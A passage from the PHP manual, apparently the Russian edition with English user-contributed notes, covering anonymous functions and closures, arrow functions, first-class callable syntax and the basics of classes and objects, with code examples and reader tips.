func(); // Outputs "111"
</script>

Be careful, following code is not similar to previous code:
<script type="text/javascript">
var aaa = 111;
var bbb = aaa;
var func = function(){ alert(bbb); };
aaa = 222;
func(); // Outputs "111", but only while "bbb" is not changed after function declaration

// And this technique is not working in loops:
var functions = [];
for (var i = 0; i < 2; i++)
{
    var i2 = i;
    functions.push(function(){ alert(i2); });
}
functions[0](); // Outputs "1", wrong!
functions[1](); // Outputs "1", ok
</script>

=== Example 2 (passing by reference) ===
PHP code:
<?php
$aaa = 111;
$func = function() use(&$aaa){ print $aaa; };
$aaa = 222;
$func(); // Outputs "222"
?>

Similar JavaScript code:
<script type="text/javascript">
var aaa = 111;
var func = function(){ alert(aaa); };
aaa = 222; // Outputs "222"
func();
</script>
derkontrollfreak+9hy5l at gmail dot com 09-Jan-2014 04:41
Beware that since PHP 5.4 registering a Closure as an object property that has been instantiated in the same object scope will create a circular reference which prevents immediate object destruction:
<?php

class Test
{
    private $closure;

    public function __construct()
    {
        $this->closure = function () {
        };
    }

    public function __destruct()
    {
        echo "destructed\n";
    }
}

new Test;
echo "finished\n";

/*
 * Result in PHP 5.3:
 * ------------------
 * destructed
 * finished
 *
 * Result since PHP 5.4:
 * ---------------------
 * finished
 * destructed
 */

?>

To circumvent this, you can instantiate the Closure in a static method:
<?php

public function __construct()
{
    $this->closure = self::createClosure();
}

public static function createClosure()
{
    return function () {
    };
}

?>
cHao 13-Dec-2013 11:42
In case you were wondering (cause i was), anonymous functions can return references just like named functions can.  Simply use the & the same way you would for a named function...right after the `function` keyword (and right before the nonexistent name).

<?php
    $value = 0;
    $fn = function &() use (&$value) { return $value; };

    $x =& $fn();
    var_dump($x, $value);        // 'int(0)', 'int(0)'
    ++$x;
    var_dump($x, $value);        // 'int(1)', 'int(1)'
mike at borft dot student dot utwente dot nl 24-Jan-2012 02:46
Since it is possible to assign closures to class variables, it is a shame it is not possible to call them directly. ie. the following does not work:
<?php
class foo {

  public test;

  public function __construct(){
    $this->test = function($a) {
      print "$a\n";
    };
  }
}

$f = new foo();

$f->test();
?>

However, it is possible using the magic __call function:
<?php
class foo {

  public test;

  public function __construct(){
    $this->test = function($a) {
      print "$a\n";
    };
  }

  public function __call($method, $args){
    if ( $this->{$method} instanceof Closure ) {
      return call_user_func_array($this->{$method},$args);
    } else {
      return parent::__call($method, $args);
    }
  }
}
$f = new foo();
$f->test();
?>
it
Hope it helps someone ;)
simon at generalflows dot com 05-Aug-2011 08:23
<?php

/*
 * An example showing how to use closures to implement a Python-like decorator
 * pattern.
 *
 * My goal was that you should be able to decorate a function with any
 * other function, then call the decorated function directly:
 *
 * Define function:         $foo = function($a, $b, $c, ...) {...}
 * Define decorator:        $decorator = function($func) {...}
 * Decorate it:             $foo = $decorator($foo)
 * Call it:                 $foo($a, $b, $c, ...)
 *
 * This example show an authentication decorator for a service, using a simple
 * mock session and mock service.
 */

session_start();

/*
 * Define an example decorator. A decorator function should take the form:
 * $decorator = function($func) {
 *     return function() use $func) {
 *         // Do something, then call the decorated function when needed:
 *         $args = func_get_args($func);
 *         call_user_func_array($func, $args);
 *         // Do something else.
 *     };
 * };
 */
$authorise = function($func) {
    return function() use ($func) {
        if ($_SESSION['is_authorised'] == true) {
            $args = func_get_args($func);
            call_user_func_array($func, $args);
        }
        else {
            echo "Access Denied";
        }
    };
};

/*
 * Define a function to be decorated, in this example a mock service that
 * need to be authorised.
 */
$service = function($foo) {
    echo "Service returns: $foo";
};

/*
 * Decorate it. Ensure you replace the origin function reference with the
 * decorated function; ie just $authorise($service) won't work, so do
 * $service = $authorise($service)
 */
$service = $authorise($service);

/*
 * Establish mock authorisation, call the service; should get
 * 'Service returns: test 1'.
 */
$_SESSION['is_authorised'] = true;
$service('test 1');

/*
 * Remove mock authorisation, call the service; should get 'Access Denied'.
 */
$_SESSION['is_authorised'] = false;
$service('test 2');

?>
orls 08-Aug-2010 06:53
Watch out when 'importing' variables to a closure's scope  -- it's easy to miss / forget that they are actually being *copied* into the closure's scope, rather than just being made available.

So you will need to explicitly pass them in by reference if your closure cares about their contents over time:

<?php
$result = 0;

$one = function()
{ var_dump($result); };

$two = function() use ($result)
{ var_dump($result); };

$three = function() use (&$result)
{ var_dump($result); };

$result++;

$one();    // outputs NULL: $result is not in scope
$two();    // outputs int(0): $result was copied
$three();    // outputs int(1)
?>

Another less trivial example with objects (what I actually tripped up on):

<?php
//set up variable in advance
$myInstance = null;

$broken = function() uses ($myInstance)
{
    if(!empty($myInstance)) $myInstance->doSomething();
};

$working = function() uses (&$myInstance)
{
    if(!empty($myInstance)) $myInstance->doSomething();
}

//$myInstance might be instantiated, might not be
if(SomeBusinessLogic::worked() == true)
{
    $myInstance = new myClass();
}

$broken();    // will never do anything: $myInstance will ALWAYS be null inside this closure.
$working();    // will call doSomething if $myInstance is instantiated

?>
gabriel dot totoliciu at ddsec dot net 19-Jul-2010 10:56
If you want to make a recursive closure, you will need to write this:

$some_var1="1";
$some_var2="2";

function($param1, $param2) use ($some_var1, $some_var2)
{

//some code here

call_user_func(__FUNCTION__, $other_param1, $other_param2);

//some code here

}

If you need to pass values by reference you should check out

http://www.php.net/manual/en/function.call-user-func.php
http://www.php.net/manual/en/function.call-user-func-array.php

If you're wondering if $some_var1 and $some_var2 are still visible by using the call_user_func, yes, they are available.
kdelux at gmail dot com 14-May-2010 08:55
Here is an example of one way to define, then use the variable ( $this ) in Closure functions.  The code below explores all uses, and shows restrictions.

The most useful tool in this snippet is the requesting_class() function that will tell you which class is responsible for executing the current Closure().

Overview:
-----------------------
Successfully find calling object reference.
Successfully call $this(__invoke);
Successfully reference $$this->name;
Successfully call call_user_func(array($this, 'method'))

Failure: reference anything through $this->
Failure: $this->name = '';
Failure: $this->delfect();

<?php

    function requesting_class()
    {
        foreach(debug_backtrace(true) as $stack){
            if(isset($stack['object'])){
                return $stack['object'];
            }
        }

    }

    class Person
    {
        public $name = '';
        public $head = true;
        public $feet = true;
        public $deflected = false;

        function __invoke($p){ return $this->$p; }
        function __toString(){ return 'this'; } // test for reference

        function __construct($name){ $this->name = $name; }
        function deflect(){ $this->deflected = true; }

        public function shoot()
        { // If customAttack is defined, use that as the shoot resut.  Otherwise shoot feet
            if(is_callable($this->customAttack)){
                return call_user_func($this->customAttack);
            }

            $this->feet = false;
        }
    }

    $p = new Person('Bob');

    $p->customAttack =
                function(){

                    echo $this; // Notice: Undefined variable: this

                    #$this = new Class() // FATAL ERROR

                    // Trick to assign the variable '$this'
                    extract(array('this' => requesting_class())); // Determine what class is responsible for making the call to Closure

                    var_dump( $this  );  // Passive reference works
                    var_dump( $$this ); // Added to class:  function __toString(){ return 'this'; }

                    $name = $this('name'); // Success
                    echo $name;            // Outputs: Bob
                    echo '<br />';
                    echo $$this->name;

                    call_user_func_array(array($this, 'deflect'), array()); // SUCCESSFULLY CALLED

                    #$this->head = 0; //** FATAL ERROR: Using $this when not in object context
                    $$this->head = 0;  // Successfully sets value

                };

    print_r($p);

    $p->shoot();

    print_r($p);

    die();

?>
rob at ubrio dot us 25-Nov-2009 10:20
You can always call protected members using the __call() method - similar to how you hack around this in Ruby using send.

<?php

class Fun
{
 protected function debug($message)
 {
   echo "DEBUG: $message\n";
 }

 public function yield_something($callback)
 {
   return $callback("Soemthing!!");
 }

 public function having_fun()
 {
   $self =& $this;
   return $this->yield_something(function($data) use (&$self)
   {
     $self->debug("Doing stuff to the data");
     // do something with $data
     $self->debug("Finished doing stuff with the data.");
   });
 }

 // Ah-Ha!
 public function __call($method, $args = array())
 {
   if(is_callable(array($this, $method)))
     return call_user_func_array(array($this, $method), $args);
 }
}

$fun = new Fun();
echo $fun->having_fun();

?>
Anonymous 03-Aug-2009 02:50
If you want to check whether you're dealing with a closure specifically and not a string or array callback you can do this:

<?php
$isAClosure = is_callable($thing) && is_object($thing);
?>
a dot schaffhirt at sedna-soft dot de 19-Jun-2009 02:55
When using anonymous functions as properties in Classes, note that there are three name scopes: one for constants, one for properties and one for methods. That means, you can use the same name for a constant, for a property and for a method at a time.

Since a property can be also an anonymous function as of PHP 5.3.0, an oddity arises when they share the same name, not meaning that there would be any conflict.

Consider the following example:

<?php
    class MyClass {
        const member = 1;

        public $member;

        public function member () {
            return "method 'member'";
        }

        public function __construct () {
            $this->member = function () {
                return "anonymous function 'member'";
            };
        }
    }

    header("Content-Type: text/plain");

    $myObj = new MyClass();

    var_dump(MyClass::member);  // int(1)
    var_dump($myObj->member);   // object(Closure)#2 (0) {}
    var_dump($myObj->member()); // string(15) "method 'member'"
    $myMember = $myObj->member;
    var_dump($myMember());      // string(27) "anonymous function 'member'"
?>

That means, regular method invocations work like expected and like before. The anonymous function instead, must be retrieved into a variable first (just like a property) and can only then be invoked.

Best regards,


Стрелочные функции

Стрелочные функции появились в PHP 7.4, как более лаконичный синтаксис для анонимных функций.

И анонимные, и стрелочные функции реализованы с использованием класса Closure.

Основной вид записи стрелочных функций: fn (argument_list) => expr.

Стрелочные функции поддерживают те же возможности, что и анонимные функции, за исключением того, что использование переменных из родительской области всегда выполняется автоматически.

Когда переменная, используемая в выражении, определена в родительской области, она будет неявно захвачена по значению. В следующем примере функции $fn1 и $fn2 ведут себя одинаково.

Пример #1 Стрелочные функции захватывают переменные по значению автоматически

<?php

$y = 1;

$fn1 = fn($x) => $x + $y;
// эквивалентно использованию $y по значению:
$fn2 = function ($x) use ($y) {
return $x + $y;
};

var_export($fn1(3));
?>

Результат выполнения данного примера:

4

Это также работает во вложенных стрелочных функциях:

Пример #2 Стрелочные функции захватывают переменные по значению автоматически, даже когда они вложены

<?php

$z = 1;
$fn = fn($x) => fn($y) => $x * $y + $z;
// Выведет 51
var_export($fn(5)(10));
?>

Подобно анонимным функциям, синтаксис стрелочных функций допускает произвольные сигнатуры функций, включая типы параметров и возвращаемых значений, значения по умолчанию, переменные, а также передачу и возврат по ссылке. Ниже приведены корректные примеры стрелочных функций:

Пример #3 Примеры использования стрелочных функций

<?php

fn(array $x) => $x;
static fn(): int => $x;
fn($x = 42) => $x;
fn(&$x) => $x;
fn&($x) => $x;
fn($x, ...$rest) => $rest;

?>

Стрелочные функции используют привязку переменных по значению. Это примерно эквивалентно выполнению use($x) для каждой переменной $x, используемой внутри стрелочной функции. Привязка по значению означает, что невозможно изменить какие-либо значения из внешней области. Вместо этого можно использовать анонимные функции для привязок по ссылкам.

Пример #4 Значения из внешней области видимости не могут быть изменены стрелочными функциями

<?php

$x = 1;
$fn = fn() => $x++; // Ничего не изменит
$fn();
var_export($x); // Выведет 1

?>

Список изменений

Версия | Описание
7.4.0 | Стали доступны стрелочные функции.

Примечания

Замечание: Можно использовать func_num_args(), func_get_arg() и func_get_args() в стрелочной функции.

User Contributed Notes

itsunclexo at gmail dot com 04-Apr-2021 10:13
As you already know, variable bindings occur in arrow functions by "by-value".  That means, an arrow function returns a copy of the value of the variable used in it from the outer scope.

Now let us see an example of how a arrow function returns a reference instead of a copy of a value.

<?php

$x = 0;

$fn = fn &(&$x) => $x;  // Returns a reference

$y = &$fn($x);  // Now $y represents the reference

var_dump($y);  // Outputs: 0

$y = 3;  // Changing value of $y affects $x

var_dump($x);  // Ouputs: 3

?>
InvisibleSmiley 12-Jan-2021 08:07
Unlike anonymous functions, arrow functions cannot have a void return type declaration.

May seem obvious, but if you thought you could make use of the benefits of arrow functions (using variables from the parent scope) to simplify a function or method call, keep in mind that this is only possible if you do NOT tell PHP that the arrow function does indeed return void.
zhangchengming at kkguan dot com 14-Dec-2020 08:00
<?php

$x = 1;

(fn() => print($x))(); // Outputs 1

(fn($x) => print($x))(2); // Outputs 2
dexen dot devries at gmail dot com 03-Aug-2020 07:39
Beware compact() not being able to access (import) variables from external scope (known in versions: 7.4.0, 7.4.8) (bug: https://bugs.php.net/bug.php?id=78970).

A workaround is available - use the variable directly; this will cause it to be imported into the arrow function's namespace and make it available to the compact() too.

<?php
$aa = 111;
$accessing_variable_works = fn($bb) => [ $aa, $bb ];
$compact_is_broken = fn($bb) => compact('aa', 'bb');
$compact_can_work_with_workaround = fn($bb) => compact('aa', 'bb') + ['workaround' => $aa];
var_dump($accessing_variable_works(333));
var_dump($compact_is_broken(555));
var_dump($compact_can_work_with_workaround(777));
?>

result:
array(2) {
  [0]=>
  int(111)
  [1]=>
  int(333)
}
PHP Notice:  compact(): Undefined variable: aa in /home/m/vlt/guitar/tlb/s/public_html/index.php on line 9
array(1) {
  ["bb"]=>
  int(555)
}
array(3) {
  ["aa"]=>
  int(111)
  ["bb"]=>
  int(777)
  ["workaround"]=>
  int(111)
}
Koushil Mankali 27-Jul-2020 06:58
In example 4  (Values from the outer scope cannot be modified by arrow functions)

<?php

$x = 1;
$fn = fn() => $x++; // Has no effect
$fn();
var_export($x);  // Outputs 1

?>

Here we can use reference variable in fn(&$x) and pass the value from function call $fn($x) so that we will get the output as expected with out using Anonymous functions.

Example:

<?php

$x = 1;
$fn = fn(&$x) => $x++;
$fn($x);
var_export($x);

?>

Output : 2 (as expected)

But here it will not take values from parent scope automatically but we have to pass them explicitly.


Callback-функции как объекты первого класса

Callback-функции как объекты первого класса представлены в PHP 8.1.0 как способ создания анонимных функций из callback-функций. Синтаксис заменяет существующий синтаксис вызова с использованием строк и массивов. Преимущество синтаксиса заключается в том, что он доступен для статического анализа и использует область видимости в точке, где получена callback-функция.

Синтаксис CallableExpr(...) используется для создания объекта Closure из callback-функции. CallableExpr принимает любое выражение, которое может быть вызвано напрямую в грамматике PHP:

Пример #1 Простой пример callback-функции как объекты первого класса

<?php
class Foo {
public function method() {}
public static function staticmethod() {}
public function __invoke() {}
}
$obj = new Foo();
$classStr = 'Foo';
$methodStr = 'method';
$staticmethodStr = 'staticmethod';
$f1 = strlen(...);
$f2 = $obj(...); // вызываемый объект
$f3 = $obj->method(...);
$f4 = $obj->$methodStr(...);
$f5 = Foo::staticmethod(...);
$f6 = $classStr::$staticmethodStr(...);
// традиционная callback-функция с использованием строки, массива
$f7 = 'strlen'(...);
$f8 = [$obj, 'method'](...);
$f9 = [Foo::class, 'staticmethod'](...);
?>

Замечание:

... является частью синтаксиса, а не пропуском.

У CallableExpr(...) та же семантика, что и у Closure::fromCallable(). То есть, в отличие от callback-функции с использованием строк и массивов, CallableExpr(...) учитывает область видимости в точке, где она создаётся:

Пример #2 Сравнение области действия CallableExpr(...) и традиционной callback-функции

<?php
class Foo {
public function getPrivateMethod() {
return [$this, 'privateMethod'];
}
private function privateMethod() {
echo __METHOD__, "\n";
}
}
$foo = new Foo;
$privateMethod = $foo->getPrivateMethod();
$privateMethod();
// Fatal error: Call to private method Foo::privateMethod() from global scope
// Это потому, что вызов выполняется вне Foo, и с этого момента будет проверяться видимость.
class Foo1 {
public function getPrivateMethod() {
// Использует область, в которой получена callback-функция.
return $this->privateMethod(...); // идентично Closure::fromCallable([$this, 'privateMethod']);
}
private function privateMethod() {
echo __METHOD__, "\n";
}
}
$foo1 = new Foo1;
$privateMethod = $foo1->getPrivateMethod();
$privateMethod(); // Foo1::privateMethod
?>

Замечание:

Создание объекта с помощью этого синтаксиса (например, new Foo(...)) не поддерживается, поскольку синтаксис new Foo() не считается callback-функцией.

Замечание:

Callback-функции как объекты первого класса нельзя комбинировать с оператором Nullsafe. Оба следующих результата приводят к ошибке времени компиляции:

<?php
$obj?->method(...);
$obj?->prop->method(...);
?>

User Contributed Notes

bienvenunet at yahoo dot com 06-Jun-2023 03:53
There's a major gotcha with this syntax that may not be apparent until you use this syntax and find you're getting "Cannot rebind scope of closure created from method" exceptions in some random library code.

As the documentation indicates, the first-class callable uses the scope at the point where the callable is acquired. This is fine as long as nothing in your code will attempt to bind the callable with the \Closure::bindTo method.

I found this the hard way by changing callables going to Laravel's Macroable functionality from the array style to the first-class callable style. The Macroable functionality \Closure::bindTo calls on the callable.

AFAIK, the only workaround is to use the uglier array syntax.


Классы и объекты

Содержание

  • Введение
  • Основы
  • Свойства
  • Константы классов
  • Автоматическая загрузка классов
  • Конструкторы и деструкторы
  • Область видимости
  • Наследование
  • Оператор разрешения области видимости (::)
  • Ключевое слово static
  • Абстрактные классы
  • Интерфейсы объектов
  • Трейты
  • Анонимные классы
  • Перегрузка
  • Итераторы объектов
  • Магические методы
  • Ключевое слово final
  • Клонирование объектов
  • Сравнение объектов
  • Позднее статическое связывание
  • Объекты и ссылки
  • Сериализация объектов
  • Ковариантность и контравариантность
  • Журнал изменений ООП

User Contributed Notes

There are no user contributed notes for this page.


Введение

PHP включает полноценную объектную модель. Некоторые из её особенностей: видимость, абстрактные и ненаследуемые (final) классы и методы, а также магические методы, интерфейсы и клонирование.

PHP работает с объектами так же, как с ссылками или дескрипторами, это означает что каждая переменная содержит ссылку на объект, а не его копию. Более подробную информацию смотрите в разделе Объекты и ссылки.

Подсказка

Смотрите также Руководство по именованию.

User Contributed Notes

There are no user contributed notes for this page.


Основы

class

Каждое определение класса начинается с ключевого слова class, затем следует имя класса, и далее пара фигурных скобок, которые заключают в себе определение свойств и методов этого класса.

Именем класса может быть любое слово, при условии, что оно не входит в список зарезервированных слов PHP, начинается с буквы или символа подчёркивания и за которым следует любое количество букв, цифр или символов подчёркивания. Если задать эти правила в виде регулярного выражения, то получится следующее выражение: ^[a-zA-Z_\x80-\xff][a-zA-Z0-9_\x80-\xff]*$.

Класс может содержать собственные константы, переменные (называемые свойствами) и функции (называемые методами).

Пример #1 Простое определение класса

<?php
class SimpleClass
{
// объявление свойства
public $var = 'значение по умолчанию';

// объявление метода
public function displayVar() {
echo $this->var;
}
}
?>

Псевдопеременная $this доступна в том случае, если метод был вызван в контексте объекта. $this - значение вызывающего объекта.

Внимание

Вызов нестатического метода статически вызывает ошибку Error. До PHP 8.0.0 это привело бы к уведомлению об устаревании, и $this не была бы определена.

Пример #2 Некоторые примеры псевдо-переменной $this

<?php
class A
{
function foo()
{
if (isset($this)) {
echo '$this определена (';
echo get_class($this);
echo ")\n";
} else {
echo "\$this не определена.\n";
}
}
}

class B
{
function bar()
{
A::foo();
}
}

$a = new A();
$a->foo();

A::foo();

$b = new B();
$b->bar();

B::bar();
?>

Результат выполнения данного примера в PHP 7:

$this определена (A)

Deprecated: Non-static method A::foo() should not be called statically in %s  on line 27
$this не определена.

Deprecated: Non-static method A::foo() should not be called statically in %s  on line 20
$this не определена.

Deprecated: Non-static method B::bar() should not be called statically in %s  on line 32

Deprecated: Non-static method A::foo() should not be called statically in %s  on line 20
$this не определена.

Результат выполнения данного примера в PHP 8:

$this определена (A)

Fatal error: Uncaught Error: Non-static method A::foo() cannot be called statically in %s :27
Stack trace:
#0 {main}
  thrown in %s  on line 27

Классы, доступные только для чтения

Начиная с PHP 8.2.0, класс может быть помечен модификатором readonly. Пометка класса как readonly добавит модификатор readonly к каждому объявленному свойству и предотвратит создание динамических свойств. Более того, невозможно добавить их поддержку с помощью атрибута AllowDynamicProperties. Попытка это сделать приведёт к ошибке компиляции.

<?php
#[\AllowDynamicProperties]
readonly class Foo {
}

// Fatal error: Cannot apply #[AllowDynamicProperties] to readonly class Foo
?>

Поскольку ни нетипизированные, ни статические свойства не могут быть помечены модификатором readonly, классы, доступные только для чтения также не могут их объявлять:

<?php
readonly class Foo
{
public $bar;
}

// Fatal error: Readonly property Foo::$bar must have type
?>
<?php
readonly class Foo
{
public static int $bar;
}

// Fatal error: Readonly class Foo cannot declare static properties
?>

Класс readonly может быть расширен тогда и только тогда, когда дочерний класс также является классом readonly.

new

Для создания экземпляра класса используется директива new. Новый объект всегда будет создан, за исключением случаев, когда он содержит конструктор, в котором определён вызов исключения в случае возникновения ошибки. Рекомендуется определять классы до создания их экземпляров (в некоторых случаях это обязательно).

Если с директивой new используется строка (string), содержащая имя класса, то будет создан новый экземпляр этого класса. Если имя находится в пространстве имён, то оно должно быть задано полностью.

Замечание:

В случае отсутствия аргументов в конструктор класса, круглые скобки после названия класса можно опустить.

Пример #3 Создание экземпляра класса

<?php
$instance = new SimpleClass();

// Это же можно сделать с помощью переменной:
$className = 'SimpleClass';
$instance = new $className(); // new SimpleClass()
?>

Начиная с PHP 8.0.0, поддерживается использование оператора new с произвольными выражениями. Это позволяет создавать более сложные экземпляры, если выражение представлено в виде строки (string). Выражения должны быть заключены в круглые скобки.

Пример #4 Создание экземпляра с использованием произвольного выражения

В данном примере мы показываем несколько вариантов допустимых произвольных выражений, которые представляют имя класса. Пример вызова функции, конкатенации строк и константы ::class.

<?php

class ClassA extends \stdClass {}
class ClassB extends \stdClass {}
class ClassC extends ClassB {}
class ClassD extends ClassA {}

function getSomeClass(): string
{
return 'ClassA';
}

var_dump(new (getSomeClass()));
var_dump(new ('Class' . 'B'));
var_dump(new ('Class' . 'C'));
var_dump(new (ClassD::class));
?>

Результат выполнения данного примера в PHP 8:

object(ClassA)#1 (0) {
}
object(ClassB)#1 (0) {
}
object(ClassC)#1 (0) {
}
object(ClassD)#1 (0) {
}

В контексте класса можно создать новый объект через new self и new parent.

Когда происходит присвоение уже существующего экземпляра класса новой переменной, то эта переменная будет указывать на этот же экземпляр класса. То же самое происходит и при передаче экземпляра класса в функцию. Копию уже созданного объекта можно создать через её клонирование.

Пример #5 Присваивание объекта

<?php

$instance = new SimpleClass();

$assigned = $instance;
$reference =& $instance;

$instance->var = '$assigned будет иметь это значение';

$instance = null; // $instance и $reference становятся null

var_dump($instance);
var_dump($reference);
var_dump($assigned);
?>

Результат выполнения данного примера:

NULL
NULL
object(SimpleClass)#1 (1) {
   ["var"]=>
     string(30) "$assigned будет иметь это значение"
}

Создавать экземпляры объекта можно двумя способами:

Пример #6 Создание новых объектов

<?php
class Test
{
static public function getNew()
{
return new static;
}
}

class Child extends Test
{}

$obj1 = new Test();
$obj2 = new $obj1;
var_dump($obj1 !== $obj2);

$obj3 = Test::getNew();
var_dump($obj3 instanceof Test);

$obj4 = Child::getNew();
var_dump($obj4 instanceof Child);
?>

Результат выполнения данного примера:

bool(true)
bool(true)
bool(true)

Обратиться к свойству или методу только что созданного объекта можно с помощью одного выражения:

Пример #7 Доступ к свойствам/методам только что созданного объекта

<?php
echo (new DateTime())->format('Y');
?>

Результатом выполнения данного примера будет что-то подобное:

2016

Замечание: До PHP 7.1 аргументы не имели значения, если не определена функция конструктора.

Свойства и методы

Свойства и методы класса живут в разделённых "пространствах имён", так что возможно иметь свойство и метод с одним и тем же именем. Ссылки как на свойства, так и на методы имеют одинаковую нотацию, и получается, что получите вы доступ к свойству или же вызовете метод - определяется контекстом использования.

Пример #8 Доступ к свойству vs. вызов метода

<?php
class Foo
{
public $bar = 'свойство';

public function bar() {
return 'метод';
}
}

$obj = new Foo();
echo $obj->bar, PHP_EOL, $obj->bar(), PHP_EOL;

Результат выполнения данного примера:

свойство
метод

Это означает, что вызвать анонимную функцию, присвоенную переменной, напрямую не получится. Вместо этого свойство должно быть назначено, например, переменной. Можно вызвать такое свойство напрямую, заключив его в скобки.

Пример #9 Вызов анонимной функции, содержащейся в свойстве

<?php
class Foo
{
public $bar;

public function __construct() {
$this->bar = function() {
return 42;
};
}
}

$obj = new Foo();

echo ($obj->bar)(), PHP_EOL;

Результат выполнения данного примера:

42

extends

Класс может наследовать константы, методы и свойства другого класса используя ключевое слово extends в его объявлении. Невозможно наследовать несколько классов, один класс может наследовать только один базовый класс.

Наследуемые константы, методы и свойства могут быть переопределены (за исключением случаев, когда метод или константа класса объявлены как final) путём объявления их с теми же именами, как и в родительском классе. Существует возможность доступа к переопределённым методам или статическим свойствам путём обращения к ним через parent::

Замечание: Начиная с PHP 8.1.0, константы можно объявлять окончательными (final).

Пример #10 Простое наследование классов

<?php
class ExtendClass extends SimpleClass
{
// Переопределение метода родителя
function displayVar()
{
echo "Расширенный класс\n";
parent::displayVar();
}
}

$extended = new ExtendClass();
$extended->displayVar();
?>

Результат выполнения данного примера:

Расширенный класс
значение по умолчанию

Правила совместимости сигнатуры

При переопределении метода его сигнатура должна быть совместима с родительским методом. В противном случае выдаётся фатальная ошибка или, до PHP 8.0.0, генерируется ошибка уровня E_WARNING. Сигнатура является совместимой, если она соответствует правилам контравариантности, делает обязательный параметр необязательным, добавляет только необязательные новые параметры и не ограничивает, а только ослабляет видимость. Это известно как принцип подстановки Барбары Лисков или сокращённо LSP. Правила совместимости не распространяются на конструктор и сигнатуру private методов, они не будут выдавать фатальную ошибку в случае несоответствия сигнатуры.

Пример #11 Совместимость дочерних методов

<?php

class Base
{
public function foo(int $a) {
echo "Допустимо\n";
}
}

class Extend1 extends Base
{
function foo(int $a = 5)
{
parent::foo($a);
}
}

class Extend2 extends Base
{
function foo(int $a, $b = 5)
{
parent::foo($a);
}
}

$extended1 = new Extend1();
$extended1->foo();
$extended2 = new Extend2();
$extended2->foo(1);

Результат выполнения данного примера:

Допустимо
Допустимо

Следующие примеры демонстрируют, что дочерний метод, который удаляет параметр или делает необязательный параметр обязательным, несовместим с родительским методом.

Пример #12 Фатальная ошибка, когда дочерний метод удаляет параметр

<?php

class Base
{
public function foo(int $a = 5) {
echo "Допустимо\n";
}
}

class Extend extends Base
{
function foo()
{
parent::foo(1);
}
}

Результат выполнения данного примера в PHP 8 аналогичен:

Fatal error: Declaration of Extend::foo() must be compatible with Base::foo(int $a = 5) in /in/evtlq on line 13

Пример #13 Фатальная ошибка, когда дочерний метод делает необязательный параметр обязательным.

<?php

class Base
{
public function foo(int $a = 5) {
echo "Допустимо\n";
}
}

class Extend extends Base
{
function foo(int $a)
{
parent::foo($a);
}
}

Результат выполнения данного примера в PHP 8 аналогичен:

Fatal error: Declaration of Extend::foo(int $a) must be compatible with Base::foo(int $a = 5) in /in/qJXVC on line 13
Внимание

Переименование параметра метода в дочернем классе не является несовместимостью сигнатуры. Однако это не рекомендуется, так как приведёт к Error во время выполнения, если используются именованные аргументы.

Пример #14 Ошибка при использовании именованных аргументов и параметров, переименованных в дочернем классе

<?php

class A {
public function test($foo, $bar) {}
}

class B extends A {
public function test($a, $b) {}
}

$obj = new B;

// Передача параметров согласно контракту A::test()
$obj->test(foo: "foo", bar: "bar"); // ОШИБКА!

Результатом выполнения данного примера будет что-то подобное:

Fatal error: Uncaught Error: Unknown named parameter $foo in /in/XaaeN:14
Stack trace:
#0 {main}
  thrown in /in/XaaeN on line 14

::class

Ключевое слово class используется для разрешения имени класса. Чтобы получить полное имя класса ClassName, используйте ClassName::class. Обычно это довольно полезно при работе с классами, использующими пространства имён.

Пример #15 Разрешение имени класса

<?php
namespace NS {
class ClassName {
}

echo ClassName::class;
}
?>

Результат выполнения данного примера:

NS\ClassName

Замечание:

Разрешение имён класса с использованием ::class происходит на этапе компиляции. Это означает, что на момент создания строки с именем класса автозагрузки класса не происходит. Как следствие, имена классов раскрываются, даже если класс не существует. Ошибка в этом случае не выдаётся.

Пример #16 Отсутствует разрешение имени класса

<?php
print Does\Not\Exist::class;
?>

Результат выполнения данного примера:

Does\Not\Exist

Начиная с PHP 8.0.0, константа ::class также может использоваться для объектов. Это разрешение происходит во время выполнения, а не во время компиляции. То же самое, что и при вызове get_class() для объекта.

Пример #17 Разрешение имени объекта

<?php
namespace NS {
class ClassName {
}
}
$c = new ClassName();
print $c::class;
?>

Результат выполнения данного примера:

NS\ClassName

Методы и свойства Nullsafe

Начиная с PHP 8.0.0, к свойствам и методам можно также обращаться с помощью оператора "nullsafe": ?->. Оператор nullsafe работает так же, как доступ к свойству или методу, как указано выше, за исключением того, что если разыменование объекта выдаёт null, то будет возвращён null, а не выброшено исключение. Если разыменование является частью цепочки, остальная часть цепочки пропускается.

Аналогично заключению каждого обращения в is_null(), но более компактный.

Пример #18 Оператор Nullsafe

<?php

// Начиная с PHP 8.0.0, эта строка:
$result = $repository?->getUser(5)?->name;

// Эквивалентна следующему блоку кода:
if (is_null($repository)) {
$result = null;
} else {
$user = $repository->getUser(5);
if (is_null($user)) {
$result = null;
} else {
$result = $user->name;
}
}
?>

Замечание:

Оператор nullsafe лучше всего использовать, когда null считается допустимым и ожидаемым значением для возвращаемого свойства или метода. Для индикации ошибки предпочтительнее выбрасывать исключение.

User Contributed Notes

pawel dot zimnowodzki at gmail dot com 26-May-2022 11:28
Although there is no null-safe operator for not existed array keys I found workaround for it: ($array['not_existed_key'] ?? null)?->methodName()
johannes dot kingma at gmail dot com 25-Nov-2021 11:29
BEWARE!

Like Hayley Watson pointed out class names are not case sensitive.

<?php
class Foo{}
class foo{} // Fatal error: Cannot declare class foo, because the name is already in use
?>
As well as
<?php
class BAR{}
$bar = new Bar();
echo get_class($bar);
?>

Is perfectly fine and will return 'BAR'.

This has implications on autoloading classes though. The standard spl_autoload function will strtolower the class name to cope with case in-sensitiveness and thus the class BAR can only be found if the file name is bar.php (or another variety if an extension was registered with spl_autoload_extensions(); ) not BAR.php for a case sensitive file and operating system like linux. Windows file system is case sensitive but the OS is not  and there for autoloading BAR.php will work.
Anonymous 15-Jun-2018 05:05
At first I was also confused by the assignment vs referencing but here's how I was finally able to get my head around it. This is another example which is somewhat similar to one of the comments but can be helpful to those who did not understand the first example. Imagine object instances as rooms where you can store and manipulate your properties and functions.  The variable that contains the object simply holds 'a key' to this room and thus access to the object. When you assign this variable to another new variable, what you are doing is you're making a copy of the key and giving it to this new variable. That means these two variable now have access to the same 'room' (object) and can thus get in and manipulate the values. However, when you create a reference, what you doing is you're making the variables SHARE the same key. They both have access to the room. If one of the variable is given a new key, then the key that they are sharing is replaced and they now share a new different key. This does not affect the other variable with a copy of the old key...that variable still has access to the first room
Hayley Watson 21-Jan-2018 10:52
Class names are case-insensitive:
<?php
class Foo{}
class foo{} //Fatal error.
?>

Any casing can be used to refer to the class
<?php
class bAr{}
$t = new Bar();
$u = new bar();
echo ($t instanceof $u) ? "true" : "false"; // "true"
echo ($t instanceof BAR) ? "true" : "false"; // "true"
